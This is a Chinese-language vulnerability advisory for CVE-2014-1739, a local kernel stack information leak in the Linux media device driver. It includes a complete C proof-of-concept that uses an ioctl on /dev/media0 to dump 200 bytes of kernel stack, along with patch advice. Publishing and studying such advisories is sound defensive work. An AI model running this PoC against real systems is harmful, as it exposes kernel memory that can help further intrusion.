Linux Kernel '/drivers/media/media-device.c'本地信息泄露漏洞


发布日期:2014-04-28
更新日期:2014-06-17

受影响系统:
Linux kernel 2.6.38 - 3.15-rc2
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 68048
 CVE(CAN) ID: CVE-2014-1739
 
Linux Kernel是Linux操作系统的内核。
 
Linux kernel 2.6.38 - 3.15-rc2版本在media_device_enum_entities()实现上存在本地信息泄露漏洞,本地攻击者可利用此漏洞获取x86_32上200kstack字节的敏感内存信息。
 
<*来源:Salva Peir&#195;3
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
 * $File: media-enum-poc.c
 * $Description: CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking 200 kstack bytes on x86_32.
 * $Author: Salva Peiró <speirofr@gmail.com> (c) Copyright 2014.
 * $URL: http://speirofr.appspot.com/files/media-enum-poc.c
 * $License: GPLv2.
 */
 
#include <stdio.h>
 #include <fcntl.h>
 #include <string.h>
 #include <stdint.h>
 
#include <sys/ioctl.h>
 #include <linux/media.h>
 #define MEDIA_DEV "/dev/media0"
 
int main(int argc, char *argv[])
 {
    struct media_entity_desc u_ent = {};
    char *file = MEDIA_DEV;
    int i, fd, ret;
 
    if (argc > 1)
        file = argv[1];
    fd = open(file, O_RDONLY);
    if (fd < 0){
        perror("open " MEDIA_DEV);
        return -1;
    }
 
    u_ent.id = 0 | MEDIA_ENT_ID_FLAG_NEXT;
    ret=ioctl(fd, MEDIA_IOC_ENUM_ENTITIES, &u_ent);
    if (ret < 0){
        perror("ioctl " MEDIA_DEV);
        return -1;
    }
 
    printf("[*] CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking %d kstack bytes:", sizeof(u_ent.reserved) + sizeof(u_ent.raw));
    for (i = 0; i < 200/sizeof(uint32_t); i++) {
        uint32_t data = *(uint32_t*)((uint32_t*)&u_ent.reserved+i);
        if (i % 4 == 0)
            printf("\n    %08d: ", i);
        printf("0x%08x ", data);
    }
    printf("\n");
 
    return ret;
 }
 
/*
 gcc -Wall -g -m32 media-enum-poc.c -o media-enum-poc # */

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
Linux
 -----
 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
 
http://www.kernel.org/

怎样在 Ubuntu 上安装 Linux 3.11 内核

Ubuntu 13.10 (Saucy Salamander) 内核已升级至 Linux Kernel 3.10 RC5

Linux Kernel 3.4.62 LTS 现已经提供下载

如何在Ubuntu 13.10上安装Linux内核 3.12

Linux Kernel 的详细介绍:请点这里
Linux Kernel 的下载地址:请点这里

本文永久更新链接地址:

相关内容